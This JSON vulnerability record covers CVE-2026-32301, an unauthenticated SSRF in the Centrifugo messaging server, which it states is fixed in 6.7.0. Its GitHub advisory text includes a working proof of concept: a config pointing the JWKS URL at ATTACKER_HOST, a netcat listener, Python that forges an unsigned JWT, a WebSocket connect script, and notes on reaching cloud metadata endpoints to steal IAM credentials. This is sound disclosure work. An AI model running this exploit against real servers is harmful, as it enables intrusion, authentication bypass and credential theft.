{"id":"CVE-2026-32301","aliases":["CVE-2026-32301","GHSA-j77h-rr39-c552","GO-2026-4702"],"related":[],"kind":"vulnerability","state":"published","title":"Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL","summary":"Centrifugo is an open-source scalable real-time messaging server. Prior to 6.7.0, Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination. This vulnerability is fixed in 6.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Centrifugo is an open-source scalable real-time messaging server. Prior to 6.7.0, Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination. This vulnerability is fixed in 6.7.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs — extracting named regex capture groups from \n   `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n   `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled \n   `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n   into the JWKS URL:\n   `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late — after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n  \"client\": {\n    \"token\": {\n      \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n      \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n    }\n  },\n  \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** — Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** — Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()\n\nheader  = b'{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}'\npayload = b'{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}'\ntoken   = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** — Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** — Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n![1](https://github.com/user-attachments/assets/6fd5d5b8-f47a-4899-94db-931f52504808)\n\nCentrifugo Server Log:\n![2](https://github.com/user-attachments/assets/2e802648-8dc9-40d7-ac9e-f5f2ca19acad)\n\nnetcat terminal:\n![3](https://github.com/user-attachments/assets/854cfb19-ed0c-44e2-977a-efe2f9b6c50a)\n\n### Impact\n- **Unauthenticated SSRF** — No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` — a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() → populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars)  ← too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token)  ← verify first with empty/nil tokenVars\n// 3. validateClaims() → only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL in github.com/centrifugal/centrifugo","format":"markdown","source":"go"},{"lang":"es","text":"Centrifugo es un servidor de mensajería en tiempo real escalable de código abierto. Antes de la versión 6.7.0, Centrifugo es vulnerable a la falsificación de petición del lado del servidor (SSRF) cuando se configura con una URL de endpoint JWKS dinámica utilizando variables de plantilla (p. ej., {{tenant}}). Un atacante no autenticado puede crear un JWT con un valor de reclamación 'iss' o 'aud' malicioso que se interpola en la URL de obtención de JWKS antes de que se verifique la firma del token, lo que hace que Centrifugo realice una petición HTTP saliente a un destino controlado por el atacante. Esta vulnerabilidad se corrige en la versión 6.7.0.","source":"nvd"}],"published":"2026-03-12T21:19:03.862Z","modified":"2026-06-17T10:35:31.590Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","score":9.3,"rating":"CRITICAL"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 6.7.0","status":"affected"}],"vendor":"centrifugal","product":"centrifugo","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.7.0"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v6","purl":"pkg:golang/github.com/centrifugal/centrifugo/v6","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.4.0"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo","purl":"pkg:golang/github.com/centrifugal/centrifugo","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"3.2.3"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v3","purl":"pkg:golang/github.com/centrifugal/centrifugo/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"4.1.5"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v4","purl":"pkg:golang/github.com/centrifugal/centrifugo/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"5.4.9"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v5","purl":"pkg:golang/github.com/centrifugal/centrifugo/v5","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo","purl":"pkg:golang/github.com/centrifugal/centrifugo","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v3","purl":"pkg:golang/github.com/centrifugal/centrifugo/v3","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v4","purl":"pkg:golang/github.com/centrifugal/centrifugo/v4","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v5","purl":"pkg:golang/github.com/centrifugal/centrifugo/v5","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.7.0"}],"ecosystem":"Go","package":"github.com/centrifugal/centrifugo/v6","purl":"pkg:golang/github.com/centrifugal/centrifugo/v6","source":"go"},{"ranges":[{"status":"affected","fixed":"6.7.0"}],"vendor":"centrifugal","product":"centrifugo","cpe":"cpe:2.3:a:centrifugal:centrifugo:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/centrifugal/centrifugo/security/advisories/GHSA-j77h-rr39-c552","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32301","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/centrifugal/centrifugo","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4702","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-13T13:09:43.696Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32301","url":"https://www.cve.org/CVERecord?id=CVE-2026-32301","licence":"CVE Terms of Use","modified":"2026-03-13T13:09:57.376Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j77h-rr39-c552","url":"https://github.com/advisories/GHSA-j77h-rr39-c552","licence":"CC-BY-4.0","modified":"2026-03-27T21:32:49.818Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4702","url":"https://pkg.go.dev/vuln/GO-2026-4702","licence":"CC-BY-4.0","modified":"2026-03-26T21:02:53.486Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32301","licence":"Public domain","modified":"2026-06-17T10:35:31.590Z"}],"updatedAt":"2026-11-25T22:59:15.889Z","epss":{"score":0.00293,"percentile":0.23606,"date":"2026-12-01T12:00:22.000Z"}}